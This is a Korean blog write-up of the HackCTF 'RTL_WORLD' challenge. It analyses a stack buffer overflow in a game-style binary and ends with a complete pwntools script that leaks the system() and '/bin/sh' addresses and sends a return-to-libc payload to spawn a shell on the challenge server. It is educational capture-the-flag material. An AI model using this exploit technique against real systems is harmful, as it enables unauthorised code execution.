HackCTF RTL_WORLD Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

동적 분석

파일을 다운로드 후 동적 분석을 시도하였으나 프로그램을 실행할 경우 어떠한 것도 출력되지 않고 Segmentation Fault가 발생하며 즉시 종료되었습니다. 이후 ghidra를 사용하여 decompile 내용을 확인한 결과 프로그램 실행에 필요한 libc.so.6 파일과 연관이 있을 것으로 추정되었습니다.

위에서 서술한 이유로 해당 문제는 nc를 통해 직접 접속하여 문제의 분석을 시도하였습니다. 문제에 접속하면 RPG 게임과 같이 여러 메뉴가 출력되었고, 해당 메뉴를 통해 어떠한 동작을 수행할 수 있었습니다.

NPC [Village Presient] :
Binary Boss made our village fall into disuse...
If you Have System Armor && Shell Sword.
You can kill the Binary Boss...
Help me Pwnable Hero... :(

Your Gold : 1000
======= Welcome to RTL World =======
1) Information the Binary Boss!
2) Make Money
3) Get the System Armor
4) Get the Shell Sword
5) Kill the Binary Boss!!!
6) Exit
====================================
>>>

NPC가 설명해준 내용을 해석하면 3, 4번 메뉴를 통해 'System Ammor'와 'Shell Sword'를 획득하여 5번 메뉴를 통해 'Binary Boss'를 처치해야 하는 것으로 볼 수 있었습니다.

이때 각각의 장비를 구매하고자 하였을 때 돈이 부족하다고 출력된 것을 보아 2번 메뉴를 이용하여 먼저 돈을 얻고 진행해야 함을 알 수 있었습니다.

1번 메뉴의 경우 쉽게 이해하자면 checksec의 결과를 출력해주는 것과 같았습니다.


정적 분석

동적 분석을 통해 금액을 만족할 경우 system 함수의 주소와 shell의 주소가 출력되는 것을 확인할 수 있었습니다. 따라서 ghidra를 사용하여 5번 메뉴를 통해 Boss를 잡는 방식에 대한 정보를 얻고자 시도하였습니다.

이 과정에서 각각의 장비를 구매하는데 필요한 정확한 금액에 대해서도 구할 수 있었습니다. 5번 메뉴의 경우 128 Byte의 배열에 read() 함수를 통해 1024 Byte만큼 입력을 받으므로 bof가 발생하였습니다.

이를 통해 "padding(128) + sfp(4) + system + dummy(4) + shell" 과 같은 형식으로 payload를 구성하였으나 exploit에 실패하였습니다. 보통의 경우 gdb를 통하여 $ebp-0x20과 같은 내용을 통해 정확한 padding의 크기를 구할 수 있으나 해당 elf의 경우 mov esp, eax와 같은 형식으로 push 명령을 대체하고 있었기에 해당 부분에서 어려움을 겪었습니다.

처음 프로그램이 실행될 당시 sub esp, 0xa0을 통해 160 Byte의 공간을 확보하는 것과 ghidra에서 변수의 선언 순서를 통해 정확한 padding을 계산하였고 exploit에 성공하였습니다.


Exploit

#!/usr/bin/python3
 
 from pwn import *
 
 def EarnMoney():
     p.sendlineafter(menu, "2")
     p.sendlineafter(menu, "3")
 
 p = remote("ctf.j0n9hyun.xyz", 3010)
 
 padding = b"A"*144
 menu = ">>> "
 
 log.info("Program is Started...")
 for i in range(8):
     EarnMoney()
 
 p.sendlineafter(menu, "3")
 p.recvuntil(": ")
 system = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16) 
 
 p.sendlineafter(menu, "4")
 p.recvuntil(": ")
 binsh = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16) 
 
 p.sendlineafter(menu, "5")
 payload = padding
 payload += p32(system)
 payload += b"BBBB"
 payload += p32(binsh)
 p.sendlineafter("> ", payload)
 
 log.info("system located: " + hex(system))
 log.info("/bin/sh located: " + hex(binsh))
 p.interactive()
profile
To be

0개의 댓글